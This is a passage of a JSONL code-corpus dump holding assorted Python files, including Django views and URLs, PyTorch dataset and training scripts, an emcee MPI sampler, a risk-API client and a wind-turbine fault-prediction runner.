latency=latency\n ))\n\n with open(\"../config_infer_primary_Openpose.txt\", mode = \"a\") as f:\n f.write(\n config2.format(\n uri=uri, \n bitrate=bitrate, \n outstream_port=outstream_port,\n batch=batch,\n width=width,\n height=height,\n latency=latency\n )\n )\n print(config2.format(\n uri=uri, \n bitrate=bitrate, \n outstream_port=outstream_port,\n batch=batch,\n width=width,\n height=height,\n latency=latency\n ))\n ","sub_path":"DeepStream_RTSP/Openpose/python/generate_config.py","file_name":"generate_config.py","file_ext":"py","file_size_in_byte":3556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"625278222","text":"# _*_ coding: utf-8 _*_\n\"\"\"\n Created by Alimazing on 2018/7/3.\n\"\"\"\n__author__ = 'Alimazing'\n\n\nclass Student():\n\tsum = 0\n\tname = 'Student'\n\tage = 0\n\tschool = '学军中学'\n\n\tdef __init__(self, name, age):\n\t\tself.name = name\n\t\tself.age = age\n\t\tself.__score = 0\n\t\tStudent.sum += 1\n\t\tprint('__init__')\n\n\n\tdef palce(self, school):\n\t\tself.school = school\n\n\tdef marking(self, score):\n\t\tself._score = score\n\n\tdef show(self):\n\t\tprint('分数:', self.__score)\n\n\tdef __pri(self):\n\t\tprint('private method')\n\n\t@classmethod\n\tdef cm(cls):\n\t\tprint('类方法:', cls.name)\n\n\ns1 = Student('s1_haha', 11)\nprint(s1.name, s1.age)\n\n# 如果没有「自定义的实例变量」,self直接使用类变量\ns2 = Student('s2_hehe', 12)\nprint(s2.name, s2.age, s2.school)\n\n# self的变量,是动态增加的\ns3 = Student('s3_hihi', 13)\ns3.palce('s3_中学')\ns3.lover = '小红'\ns3.__score = 13\ns3.show()\nprint(s3.name, s3.age, s3.school, s3.lover)\nprint(s3.__dict__)\nprint('****'*10)\n\nprint(Student.name, Student.age, Student.school)\n#Output: Student 0 学军中学\n\nprint('****'*10)\n\nprint(s1.__dict__)\nprint(Student.__dict__)\n\ns1.cm()\nprint('学生总数:', Student.sum)\n\nprint('****'*10)\n","sub_path":"test/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1170,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"109685450","text":"# -*- coding: utf-8 -*-\n\"\"\"\nURLConf for Django user profile.\n\n\"\"\"\n\nfrom django.conf.urls import patterns, url\n\nurlpatterns = patterns('profiles.views',\n\n # Show profile.\n url(r'^$', 'show', \n name='profile-show'),\n\n # Edit profile info.\n url(r'^edit/$', 'edit', \n name='profile-edit'),\n)\n\n\"\"\"\n # Upload photo\n url(r'^edit/photo/$', 'photo_edit', \n name='profile-photo_edit'),\n\n # Delete photo\n url(r'^edit/photo/delete/(?P\\d+)/$', 'photo_delete', \n name='profile-photo_delete'),\n\n # Show photo in profile\n url(r'^edit/photo/set/(?P\\d+)/$', 'photo_set_main', \n name='profile-photo_set_main'),\n\n # Links to other (internet) profiles.\n url(r'^edit/links/$', 'links', \n name='profile-links'),\n \n url(r'^edit/links/delete/(?P\\w+)/(?P\\d+)/$', 'links_delete', \n name='profile-links_delete'),\n\n # Email notifications.\n url(r'^notifications/$', 'notifications', \n name='profile-notifications'),\n\n # Define visibility.\n #url(r'^privacy/$', 'privacy, \n # name='profile-privacy'),\n\n\nurlpatterns += patterns('django.contrib.auth.views',\n ### Change password\n url(r'^password/change/$', 'password_change', \n {'template_name': 'password_change_form.html'},\n name='profile-password_change'),\n\n url(r'^password/change/done/$', 'password_change_done',\n {'template_name': 'password_change_done.html'},\n name='profile-password_change_done'),\n\n)\n\"\"\"","sub_path":"openmate/apps/profiles/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1499,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"63835374","text":"import requests\nimport json\nfrom riskmodel.sql import insert_userbase\n\n\ndef get_tongdun_res(l):\n '''\n :param name:\n :param phone:\n :param id_num:\n :return:\n '''\n send_url = '''\n https://api.tongdun.cn/bodyguard/apply/v4.5?partner_code=s%&partner_key=%s&app_name=s%\n '''\n headers = {'content-type': 'application/x-www-form-urlencoded'}\n r = requests.post(send_url, data={'account_name': l[0],\n 'account_mobile': l[1],\n 'id_number': l[2]}, headers=headers)\n\n result = json.loads(r.text)\n print(result)\n return result","sub_path":"riskmodel/tongdun.py","file_name":"tongdun.py","file_ext":"py","file_size_in_byte":654,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"564595152","text":"import datetime\nimport json\n\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.db import transaction\nfrom django.utils.text import slugify\n\nfrom establishment.blog.models import BlogEntry\nfrom establishment.content.models import Article\nfrom establishment.errors.errors import BaseError\nfrom establishment.webapp.base_views import ajax_required, superuser_required, single_page_app\nfrom establishment.webapp.state import State\n\nBLOG_FETCH_CHUNK = 5\n\n\ndef get_blog_state(request):\n blog_posts = BlogEntry.objects.order_by(\"-article__date_created\").prefetch_related(\"article\")\n\n if not request.user.is_superuser:\n blog_posts = blog_posts.filter(visible=True)\n\n if request.is_ajax() and \"lastDate\" in request.GET:\n last_date = datetime.datetime.fromtimestamp(float(request.GET[\"lastDate\"]))\n blog_posts = blog_posts.filter(article__date_created__lt=last_date)\n\n blog_posts = blog_posts[:(BLOG_FETCH_CHUNK + 1)]\n\n state = State()\n\n for blog_post in blog_posts[:BLOG_FETCH_CHUNK]:\n blog_post.add_to_state(state)\n\n return state, (len(blog_posts) <= BLOG_FETCH_CHUNK)\n\n\ndef get_blogpost(request):\n try:\n blog_post = BlogEntry.objects.get(url_name=str(request.GET[\"entryUrlName\"]))\n if not blog_post.visible and not request.user.is_superuser:\n return BaseError.NOT_ALLOWED\n except ObjectDoesNotExist:\n return BaseError.OBJECT_NOT_FOUND\n state = State()\n state.add(blog_post)\n state.add(blog_post.article)\n return state\n\n\n@single_page_app\ndef blog(request):\n state, finished_loading = get_blog_state(request)\n return state.to_response({\"finishedLoading\": finished_loading})\n\n\n@ajax_required\n@superuser_required\ndef add_entry(request):\n title = request.POST.get(\"title\", \"Unnamed entry\" + str(datetime.datetime.now()))\n url_name = request.POST.get(\"urlName\", slugify(title))\n is_visible = json.loads(request.POST.get(\"isVisible\", \"false\"))\n\n article = Article(author_created=request.user, name=title)\n\n if \"content\" in request.POST:\n article.markup = request.POST[\"content\"]\n\n with transaction.atomic():\n article.save()\n entry = BlogEntry.objects.create(url_name=url_name, article=article, visible=is_visible)\n\n state = State()\n entry.add_to_state(state)\n return state.to_response({\"blogEntryId\": entry.id})\n\n\n@ajax_required\n@superuser_required\ndef change_entry_settings(request):\n response = {}\n\n entry_id = int(request.POST.get(\"entryId\"))\n\n entry = BlogEntry.objects.get(id=entry_id)\n article = entry.article\n\n if \"title\" in request.POST:\n # TODO: use an article.set_name() method\n article.name = request.POST[\"title\"]\n article.save()\n\n if \"urlName\" in request.POST:\n url_name = request.POST[\"urlName\"]\n entry.url_name = url_name\n response[\"urlName\"] = url_name\n\n is_visible = json.loads(request.POST.get(\"isVisible\", \"false\"))\n entry.visible = is_visible\n entry.save()\n\n return response\n\n\n@ajax_required\n@superuser_required\ndef create_entry_discussion(request):\n entry_id = int(request.POST[\"entryId\"])\n entry = BlogEntry.objects.get(id=entry_id)\n entry.create_discussion()\n entry.save()\n return State(entry)\n\n\ndef latest_blog_state():\n blog_entries = BlogEntry.objects.filter(visible=True, discussion__isnull=False)\\\n .order_by(\"-discussion__message_thread__last_activity\")\\\n .prefetch_related(\"article\", \"discussion\", \"discussion__message_thread\")[:5]\n\n state = State()\n for blog_entry in blog_entries:\n blog_entry.add_to_state(state)\n return state\n","sub_path":"blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3690,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"13391090","text":"import os\nimport sys\nfrom PIL import Image\nimport torch\nimport numpy as np\nimport pandas as pd\nfrom torch.utils.data import DataLoader, Dataset\n\nATTR_TO_IX_DICT = {'Sideburns': 30, 'Black_Hair': 8, 'Wavy_Hair': 33, 'Young': 39, 'Heavy_Makeup': 18, \n 'Blond_Hair': 9, 'Attractive': 2, '5_o_Clock_Shadow': 0, 'Wearing_Necktie': 38, \n 'Blurry': 10, 'Double_Chin': 14, 'Brown_Hair': 11, 'Mouth_Slightly_Open': 21, \n 'Goatee': 16, 'Bald': 4, 'Pointy_Nose': 27, 'Gray_Hair': 17, 'Pale_Skin': 26, \n 'Arched_Eyebrows': 1, 'Wearing_Hat': 35, 'Receding_Hairline': 28, 'Straight_Hair': 32, \n 'Big_Nose': 7, 'Rosy_Cheeks': 29, 'Oval_Face': 25, 'Bangs': 5, 'Male': 20, 'Mustache': 22, \n 'High_Cheekbones': 19, 'No_Beard': 24, 'Eyeglasses': 15, 'Bags_Under_Eyes': 3, \n 'Wearing_Necklace': 37, 'Wearing_Lipstick': 36, 'Big_Lips': 6, 'Narrow_Eyes': 23, \n 'Chubby': 13, 'Smiling': 31, 'Bushy_Eyebrows': 12, 'Wearing_Earrings': 34}\n\nATTR_IX_TO_KEEP = [4, 5, 8, 9, 11, 12, 15, 17, 18, 20, 21, 22, 26, 28, 31, 32, 33, 35]\nIX_TO_ATTR_DICT = {v:k for k, v in ATTR_TO_IX_DICT.items()}\nN_ATTRS = len(ATTR_IX_TO_KEEP)\n\ndf_attr = pd.read_csv(\"../data/dataframes/df_attr.csv\")\n\ndef get_attr(img_name):\n df_attr_img = df_attr[df_attr.img_name == img_name]\n attr = df_attr_img.values[0, 1:]\n attr = np.array(attr).astype(int)\n attr[attr < 0] = 0\n attr = torch.from_numpy(attr).float()\n return attr[ATTR_IX_TO_KEEP]\n\ndef tensor_to_attributes(tensor):\n \"\"\"Use this for the .\n @param tensor: PyTorch Tensor\n D dimensional tensor\n @return attributes: list of strings\n \"\"\"\n attrs = []\n n = tensor.size(0)\n tensor = torch.round(tensor)\n \n for i in range(n):\n if tensor[i] > 0.5:\n attr = IX_TO_ATTR_DICT[ATTR_IX_TO_KEEP[i]]\n attrs.append(attr)\n return attrs\n\nclass FaceData_with_Attributes(Dataset):\n def __init__(self, img_names, img_path, image_transform=None, attr_transform=None):\n \n self.img_path = img_path\n self.img_names = img_names\n\n self.size = int(len(img_names))\n\n self.image_transform = image_transform\n self.attr_transform = attr_transform\n\n def __len__(self):\n return len(self.img_name)\n\n def __getitem__(self, index):\n\n # attr\n attr = get_attr(self.img_names[index])\n\n if self.attr_transform is not None:\n attr = self.attr_transform(attr)\n\n # img \n img_path = os.path.join(self.img_path, self.img_names[index])\n\n img = Image.open(img_path)\n img = img.resize((256, 256), Image.ANTIALIAS)\n img = img.crop((32, 32, 224, 224))\n img = img.resize((64, 64), Image.ANTIALIAS)\n if self.image_transform is not None:\n img = self.image_transform(img)\n\n img = np.array(img)\n\n return img.transpose(2, 0, 1) / 255., attr\n# return img, attr\n\n def __len__(self):\n return self.size","sub_path":"attr_classifier/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":3111,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"110405414","text":"import json\r\nimport random\r\nimport numpy as np\r\nfrom tqdm import tqdm\r\nfrom pathlib import Path\r\nfrom datetime import datetime\r\n\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nplt.style.use('seaborn')\r\n\r\nimport torch\r\nfrom torch import nn\r\nfrom torch.nn import functional as F\r\nfrom torchvision.utils import save_image\r\nfrom torch.utils.data import Subset, ConcatDataset, DataLoader\r\nfrom torchvision.transforms import functional as tf\r\n\r\n# For reproducibility\r\n# Set before loading model and dataset UNCHANGED\r\nseed = 999\r\nrandom.seed(seed)\r\nnp.random.seed(seed)\r\ntorch.manual_seed(seed)\r\ntorch.backends.cudnn.deterministic = True\r\n\r\n# Load data UNCHANGED\r\ntrain_set = CCPD5000('./ccpd5000/train/')\r\nvalid_set = CCPD5000('./ccpd5000/valid/')\r\nvisul_set = ConcatDataset([\r\n Subset(train_set, random.sample(range(len(train_set)), 32)),\r\n Subset(valid_set, random.sample(range(len(valid_set)), 32)),\r\n])\r\ntrain_loader = DataLoader(train_set, 32, shuffle=True, num_workers=3)\r\nvalid_loader = DataLoader(valid_set, 32, shuffle=False, num_workers=1)\r\nvisul_loader = DataLoader(visul_set, 32, shuffle=False, num_workers=1)\r\n\r\ndevice = 'cuda'\r\nmodel = CCPDRegressor()\r\nmodel = model.to(device)\r\ncriterion = nn.MSELoss()\r\ncriterion = criterion.to(device)\r\noptimizer = torch.optim.Adam(model.parameters(), lr=2e-4)\r\n#device = 'cuda'\r\n#model = CCPDRegressor().to(device)\r\n#criterion = nn.MSELoss().to(device)\r\n#optimizer = torch.optim.Adam(model.parameters(), lr=1e-4)\r\n\r\n# Log record UNCHANGED\r\nlog_dir = Path('./log/') / f'{datetime.now():%Y.%m.%d-%H:%M:%S}'\r\nlog_dir.mkdir(parents=True)\r\nprint(log_dir)\r\nhistory = {\r\n 'train_mae': [],\r\n 'valid_mae': [],\r\n 'train_mse': [],\r\n 'valid_mse': [],\r\n}\r\n\r\n\r\n# train\r\ndef train(pbar):\r\n model.train() # train mode\r\n mae_steps = []\r\n mse_steps = []\r\n\r\n for image, ground_truth in iter(train_loader):\r\n image = image.to(device)\r\n ground_truth = ground_truth.to(device)\r\n\r\n optimizer.zero_grad()\r\n predict = model(image)\r\n loss = criterion(predict, ground_truth)\r\n loss.backward()\r\n optimizer.step()\r\n\r\n mae = F.l1_loss(predict, ground_truth).item()\r\n mse = F.mse_loss(predict, ground_truth).item()\r\n\r\n # UNCHANGED\r\n mae_steps.append(mae)\r\n mse_steps.append(mse)\r\n\r\n pbar.set_postfix(mae=mae, mse=mse)\r\n pbar.update(image.size(0))\r\n avg_mae = sum(mae_steps) / len(mae_steps)\r\n avg_mse = sum(mse_steps) / len(mse_steps)\r\n pbar.set_postfix(avg_mae=f'{avg_mae:.5f}', avg_mse=f'{avg_mse:.5f}')\r\n history['train_mae'].append(avg_mae)\r\n history['train_mse'].append(avg_mse)\r\n\r\n'''def train(pbar):\r\n model.train()\r\n mae_steps = []\r\n mse_steps = []\r\n\r\n for img_b, kpt_b in iter(train_loader):\r\n img_b = img_b.to(device)\r\n kpt_b = kpt_b.to(device)\r\n\r\n optimizer.zero_grad()\r\n pred_b = model(img_b)\r\n loss = criterion(pred_b, kpt_b)\r\n loss.backward()\r\n optimizer.step()\r\n\r\n mae = loss.detach().item()\r\n mse = F.mse_loss(pred_b.detach(), kpt_b.detach()).item()\r\n mae_steps.append(mae)\r\n mse_steps.append(mse)\r\n\r\n pbar.set_postfix(mae=mae, mse=mse)\r\n pbar.update(img_b.size(0))\r\n\r\n avg_mae = sum(mae_steps) / len(mae_steps)\r\n avg_mse = sum(mse_steps) / len(mse_steps)\r\n pbar.set_postfix(avg_mae=f'{avg_mae:.5f}', avg_mse=f'{avg_mse:.5f}')\r\n history['train_mae'].append(avg_mae)\r\n history['train_mse'].append(avg_mse)\r\n'''\r\n\r\ndef valid(pbar):\r\n model.eval() # evaluation mode\r\n mae_steps = []\r\n mse_steps = []\r\n\r\n for image, ground_truth in iter(valid_loader):\r\n image = image.to(device)\r\n ground_truth = ground_truth.to(device)\r\n predict = model(image)\r\n loss = criterion(predict, ground_truth)\r\n\r\n mae = F.l1_loss(predict, ground_truth).item()\r\n mse = F.mse_loss(predict, ground_truth).item()\r\n # UNCHANGED\r\n mae_steps.append(mae)\r\n mse_steps.append(mse)\r\n\r\n pbar.set_postfix(mae=mae, mse=mse)\r\n pbar.update(image.size(0))\r\n\r\n avg_mae = sum(mae_steps) / len(mae_steps)\r\n avg_mse = sum(mse_steps) / len(mse_steps)\r\n pbar.set_postfix(avg_mae=f'{avg_mae:.5f}', avg_mse=f'{avg_mse:.5f}')\r\n history['valid_mae'].append(avg_mae)\r\n history['valid_mse'].append(avg_mse)\r\n'''\r\ndef valid(pbar):\r\n model.eval()\r\n mae_steps = []\r\n mse_steps = []\r\n\r\n for img_b, kpt_b in iter(valid_loader):\r\n img_b = img_b.to(device)\r\n kpt_b = kpt_b.to(device)\r\n pred_b = model(img_b)\r\n loss = criterion(pred_b, kpt_b)\r\n mae = loss.detach().item()\r\n\r\n mse = F.mse_loss(pred_b.detach(), kpt_b.detach()).item()\r\n mae_steps.append(mae)\r\n mse_steps.append(mse)\r\n\r\n pbar.set_postfix(mae=mae, mse=mse)\r\n pbar.update(img_b.size(0))\r\n\r\n avg_mae = sum(mae_steps) / len(mae_steps)\r\n avg_mse = sum(mse_steps) / len(mse_steps)\r\n pbar.set_postfix(avg_mae=f'{avg_mae:.5f}', avg_mse=f'{avg_mse:.5f}')\r\n history['valid_mae'].append(avg_mae)\r\n history['valid_mse'].append(avg_mse)\r\n'''\r\n\r\n# Visualization UNCHANGED\r\ndef visul(pbar, epoch):\r\n model.eval()\r\n epoch_dir = log_dir / f'{epoch:03d}'\r\n epoch_dir.mkdir()\r\n for img_b, kpt_b in iter(visul_loader):\r\n pred_b = model(img_b.to(device)).cpu()\r\n for img, pred_kpt, true_kpt in zip(img_b, pred_b, kpt_b):\r\n img = tf.to_pil_image(img)\r\n vis = draw_plate(img, pred_kpt)\r\n vis = draw_kpts(vis, true_kpt, c='orange')\r\n vis = draw_kpts(vis, pred_kpt, c='red')\r\n vis.save(epoch_dir / f'{pbar.n:03d}.jpg')\r\n pbar.update()\r\n\r\n# log record UNCHANGED\r\ndef log(epoch):\r\n with (log_dir / 'metrics.json').open('w') as f:\r\n json.dump(history, f)\r\n\r\n fig, ax = plt.subplots(2, 1, figsize=(6, 6), dpi=100)\r\n ax[0].set_title('MAE')\r\n ax[0].plot(range(epoch + 1), history['train_mae'], label='Train')\r\n ax[0].plot(range(epoch + 1), history['valid_mae'], label='Valid')\r\n ax[0].legend()\r\n ax[1].set_title('MSE')\r\n ax[1].plot(range(epoch + 1), history['train_mse'], label='Train')\r\n ax[1].plot(range(epoch + 1), history['valid_mse'], label='Valid')\r\n ax[1].legend()\r\n fig.savefig(str(log_dir / 'metrics.jpg'))\r\n plt.close()\r\n\r\n\r\n# train epoch setting UNCHANGED\r\nfor epoch in range(30):\r\n print('Epoch', epoch, flush=True)\r\n with tqdm(total=len(train_set), desc=' Train') as pbar:\r\n train(pbar)\r\n\r\n with torch.no_grad():\r\n with tqdm(total=len(valid_set), desc=' Valid') as pbar:\r\n valid(pbar)\r\n with tqdm(total=len(visul_set), desc=' Visul') as pbar:\r\n visul(pbar, epoch)\r\n log(epoch)","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":6758,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"162506053","text":"class Car():\n maxpeople = 5\n maxspeed = 300\n def start(self):\n print('차가 출발할였습니다.')\n def stop(self):\n print('차가 멈췄습니다.')\n \nclass HybridCar(Car):\n battery = 100\n batteryKM = 300\n\nk3 = Car()\nprint(k3.maxspeed)\nk3.start()\nprint(type(k3))\nprint(dir(k3))\nhyk3 = HybridCar()\nprint(hyk3.maxspeed)","sub_path":"master/lecture/023.py","file_name":"023.py","file_ext":"py","file_size_in_byte":360,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"567147691","text":"#!/usr/bin/env python3\n\nimport numpy as np\nimport emcee\nimport sys\nimport time\n\n# Add statement to import a pool of workers\nfrom emcee.utils import MPIPool\n\n#\n# Class for a Multidimensional-Gaussian distribution\n#\nclass gaussian_md:\n\n def __init__(self, means, cov):\n self.mu = means\n self.icov = np.linalg.inv(cov)\n\n #\n # This function should return log(Prob) = -Chisq/2 upto a additive constant\n # For a Gaussian distribution this will be -1/2.(x-mu)^T Cinv (x-mu)\n #\n def lnprob(self, x):\n Delta = (x-self.mu)\n # Test a slow calculation by introducing a sleep command\n # time.sleep(0.1)\n return -np.dot(Delta, np.dot(self.icov, Delta))/2.0\n\n # Get a emcee sampler with the object\n def getsampler(self, nwalkers, ndim):\n return emcee.EnsembleSampler(nwalkers, ndim, self.lnprob, args=[])\n\nif __name__ == \"__main__\":\n\n # Add in a MPI pool of workers\n pool = MPIPool()\n if not pool.is_master():\n pool.wait()\n sys.exit(0)\n\n\n # Initialize random number seed\n np.random.seed(10)\n\n # Define number of dimensions\n ndim = 5\n \n # Define random means and some covariance (first just a diagonal covariance)\n means = np.random.rand(ndim) * 5.0\n cov = np.diag(np.linspace(5.0, 10.0, ndim))\n\n aa = gaussian_md(means, cov)\n\n # Initialize tons of walkers\n nwalkers = 320\n p0 = np.random.rand(ndim * nwalkers).reshape((nwalkers, ndim))\n\n # Initialize the sampler\n sampler = aa.getsampler(nwalkers, ndim)\n\n # Perform an initial burn-in phase, clear out the sampler, but store the\n # final locations in pos, the value of lnprob and random number state\n pos, prob, state = sampler.run_mcmc(p0, 100)\n sampler.reset()\n\n Nsamples = 1000\n sampler.run_mcmc(pos, Nsamples)\n\n # Now the sampler will have chain values store in sampler.flatchain, let us first see their shape\n print(\"Shape of sampler.chain\", np.shape(sampler.chain))\n print(\"Shape of sampler.flatchain\", np.shape(sampler.flatchain))\n\n pool.close()\n '''\n import matplotlib.pyplot as pl\n import corner\n\n for i in range(ndim):\n ax = pl.subplot(3, 3, i+1)\n ax.hist(sampler.flatchain[:,i], 100, color=\"k\", histtype=\"step\")\n ax.axvline(aa.mu[i])\n\n pl.savefig(\"Distributions.png\")\n pl.clf()\n\n for i in range(ndim):\n ax = pl.subplot(3, 3, i+1)\n ax.plot(np.arange(Nsamples), sampler.chain[0, :,i])\n ax.axhline(aa.mu[i], color=\"k\")\n\n pl.savefig(\"Chains.png\")\n\n fig = corner.corner(sampler.chain.reshape(-1, ndim))\n fig.savefig(\"Triangle.png\")\n '''\n","sub_path":"mpi_code.py","file_name":"mpi_code.py","file_ext":"py","file_size_in_byte":2621,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"112379966","text":"import matplotlib.pyplot as plt\nimport matplotlib.image as mpimg\n\n\ndef example_qpo(time, amp, imfs, ifreq, iamp):\n plt.subplot(221)\n plt.plot(time, amp)\n plt.ylabel('4-Hz QPO X-ray Light Curve (cts/s)')\n plt.subplot(222)\n plt.plot(time, ifreq)\n plt.ylabel('Instantaneous frequency (Hz)')\n plt.subplot(223)\n plt.plot(time, imfs)\n plt.ylabel('IMF c4')\n plt.xlabel('Time (s)')\n plt.subplot(224)\n plt.plot(time, iamp)\n plt.ylabel(r'Instantaneous amplitude (cts/s)')\n plt.xlabel('Time (s)')\n plt.show()\n\n\ndef example_lena(filename, imfs):\n img = mpimg.imread(filename)\n plt.subplot(231)\n plt.imshow(img)\n plt.title('Original image', fontsize=10)\n plt.subplot(232)\n plt.title('IMF c1', fontsize=10)\n plt.imshow(imfs[:, :, 0], cmap=\"Greys_r\")\n plt.subplot(233)\n plt.title('IMF c2', fontsize=10)\n plt.imshow(imfs[:, :, 1], cmap=\"Greys_r\")\n plt.subplot(234)\n plt.title('IMF c3', fontsize=10)\n plt.imshow(imfs[:, :, 2], cmap=\"Greys_r\")\n plt.subplot(235)\n plt.title('IMF c4', fontsize=10)\n plt.imshow(imfs[:, :, 3], cmap=\"Greys_r\")\n plt.subplot(236)\n plt.title('IMF c5', fontsize=10)\n plt.imshow(imfs[:, :, 4], cmap=\"Greys_r\")\n plt.show()\n","sub_path":"HHTplots.py","file_name":"HHTplots.py","file_ext":"py","file_size_in_byte":1233,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"500973211","text":"from rest_framework.serializers import (\n\tModelSerializer,\n\tHyperlinkedIdentityField,\n\tSerializerMethodField,\n\tStringRelatedField\n\t)\n\nfrom rest_framework import serializers\n\n\nfrom user_profile.models import Profile,AccessOperation\n# from snippet.models import Snippet\n\nfrom operation.api.serializers import OperationSerializer\n\n# userprofile_detail_url = HyperlinkedIdentityField(\n# view_name='profile-api:detail',\n# lookup_field = 'pk'\n# )\n\nclass ProfileSerializer(serializers.ModelSerializer):\n class Meta:\n model = Profile\n fields = ['user','department','title','url','status']\n\n\n\nclass UserAccessListSerializer(serializers.ModelSerializer):\n operation = OperationSerializer(many=False,read_only=True)\n class Meta:\n model = AccessOperation\n fields = ['profile','operation']\n\n\n\n\n\n\n\n# class UserDetailSerializer(serializers.ModelSerializer):\n# accessoperation_set = UserAccessListSerializer(many=True, read_only=True)\n# class Meta:\n# model = Profile\n# fields = ('user','department','title','accessoperation_set')\n\n# class ProfileListSerializer(serializers.ModelSerializer):\n# # url = userprofile_detail_url\n# class Meta:\n# model = Profile\n# fields = ('user','department','title')\n\n","sub_path":"wmp/user_profile/api/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1288,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"477559675","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@Statement: Sorry for this shit code\n@Time : 2020/5/16 10:18\n@Author : Jarvis\n\"\"\"\nfrom main_code.gen_logger import get_logger\nfrom main_code.data_base import get_train_task_info, get_predict_task_info, check_time, update_status, \\\n rm_version\nfrom main_code.data_processing import process_retrain_data, process_predict_data, get_site_and_type\nfrom main_code.training import train_model\nimport argparse\nimport datetime\n\n\ndef train(task_key, info_list, site, type_, logger):\n \"\"\"执行预测任务时,首先基于基础版本进行训练得到一个临时版本,然后根据此临时版本\n 进行预测\"\"\"\n pred_start_time = info_list[2]\n # 选取预测任务的数据开始时间的前150天的数据为训练数据\n time_interval = datetime.timedelta(days=150)\n train_start_time = info[11]\n train_end_time = info[12]\n if not info[11] and not info[12]:\n train_start_time = pred_start_time - time_interval\n train_end_time = pred_start_time\n train_info = [None, None, 1, train_start_time, train_end_time, None, info_list[6],\n info_list[7], info_list[8]]\n fault_data = check_time(train_info[3], train_info[4], train_info[6])\n if not fault_data:\n logger.warning(f\"当前时间范围内,{train_info[6]}风场的数据没有故障记录!\")\n flag1 = process_retrain_data(task_id, train_info, site, type_, logger, fault_data)\n if flag1 == 1:\n return train_model(task_key, train_info, logger)\n\n\ndef get_site_type(info1, pro):\n site_id, type_id, wtg_id = info1[6:9]\n if not site_id:\n logger.info(\"未指定风场,默认计算该省份下所有的风场\")\n site_id_list = None\n else:\n site_id_list = list(site_id.split(','))\n logger.info(f\"指定了风场,共{len(site_id_list)}个\")\n if not type_id:\n logger.info('未指定机型,对该风场下所有的风机进行训练')\n type_id_list = None\n else:\n type_id_list = list(type_id.split(','))\n logger.info(f\"指定了机型,共{len(type_id_list)}种\")\n\n logger.info(\"将风场与对应型号进行匹配...\")\n site_type = get_site_and_type(pro, site_id_list, type_id_list)\n logger.info(\"匹配完成\")\n if not site_type:\n logger.info(\"当前省份风场无可用机型\")\n return 0\n logger.info(f\"实际共需计算{len(site_type)}个风场\")\n return site_type\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--train', type=str, help='指定任务的id用于训练')\n parser.add_argument('--predict', type=str, help='指定任务的id用于预测')\n parser.add_argument('--rm-version', type=int, help='删除指定的版本')\n\n args = parser.parse_args()\n # 重训练任务不再单独被调用\n\n # if args.predict:\n # 模型预测\n task_id = args.predict\n # task_id = '38d7077f-845a-4beb-b3d4-cb6a6d4f3d31'\n logger = get_logger(task_id)\n info = get_predict_task_info(task_id, logger)\n # info = [模型名称,模型的版本号,预测数据集的开始时间,预测数据集的终���时间,观察窗口(天),最低故障次数,风场id,\n # 机型id,风机id, 模型版本的id, 省份,训练数据集的开始时间,训练数据集的终止时间]\n if not info:\n logger.warning('无法执行预测任务!')\n logger.warning('状态重置!')\n update_status(task_id, 2)\n else:\n province_id_list = info[10].split(',')\n for pro in province_id_list:\n site_types = get_site_type(info, pro)\n if site_types == 0:\n logger.error(\"处理风机数据出错\")\n logger.info(\"状态重置\")\n update_status(task_id, 2)\n else:\n for site in site_types:\n for type1 in site_types[site]:\n # 预测前先执行训练任务\n logger.info(f\"当前计算{pro}省份/{site}风场/{type1}机型...\")\n train_res = train(task_id, info, site, type1, logger)\n if train_res: # 生成了临时模型\n logger.info('成功生成临时模型')\n else: # 未生成临时模型,则用基础模型预测\n logger.info('未生成临时模型,调用基础模型')\n flag = process_predict_data(task_id, info, site, type1, logger, train_res)\n if flag == 3:\n update_status(task_id, 3)\n elif flag:\n update_status(task_id, 2)\n else:\n logger.error(\"处理风机数据出错\")\n logger.info(\"状态重置\")\n update_status(task_id, 2)\n\n logger.info(f\"风场'{site}'预测任务结束\")\n logger.info('Complete!')\n\n\n","sub_path":"base_run.py","file_name":"base_run.py","file_ext":"py","file_size_in_byte":5008,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
